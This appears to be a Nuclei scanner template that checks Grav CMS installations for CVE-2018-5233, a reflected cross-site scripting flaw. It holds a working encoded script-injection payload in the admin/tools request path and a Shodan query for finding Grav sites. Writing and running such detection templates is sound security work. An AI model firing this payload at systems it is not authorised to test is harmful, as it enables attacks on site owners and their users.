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id : CVE-2018-5233
info :
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name : Grav CMS <1.3.0 - Cross-Site Scripting
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author : pikpikcu
severity : medium
description : |
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Grav CMS before 1.3.0 is vulnerable to cross-site scripting via system/src/Grav/Common/Twig/Twig.php and allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to admin/tools.
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remediation : |
Upgrade Grav CMS to version 1.3.0 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
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reference :
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- https://sysdream.com/news/lab/2018-03-15-cve-2018-5233-grav-cms-admin-plugin-reflected-cross-site-scripting-xss-vulnerability/
- http://www.openwall.com/lists/oss-security/2018/03/15/1
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- https://nvd.nist.gov/vuln/detail/CVE-2018-5233
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classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score : 6.1
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cve-id : CVE-2018-5233
cwe-id : CWE-79
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epss-score : 0.00295
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epss-percentile : 0.65853
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cpe : cpe:2.3:a:getgrav:grav_cms:*:*:*:*:*:*:*:*
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metadata :
max-request : 1
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vendor : getgrav
product : grav_cms
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shodan-query : html:"Grav CMS"
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tags : cve,cve2018,xss,grav,getgrav
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http :
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- method : GET
path :
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- "{{BaseURL}}/admin/tools/a--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
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matchers-condition : and
matchers :
- type : word
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part : body
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words :
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- '</script><script>alert(document.domain)</script>'
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- type : word
part : body
words :
- '/themes/grav'
- 'Grav Admin Login'
- 'data-grav-'
condition : or
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- type : word
part : header
words :
- text/html
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- type : status
status :
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- 200
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# digest: 4a0a004730450221008fc5743497356ec6159ae763b2e6f9365bc68dc1fb360ac359d2ee503375940b02207e162126a565885b691ea8504dd72a9bd2b4e0ca59e04f5e378deb30aefb8aa8:922c64590222798bb761d5b6d8e72950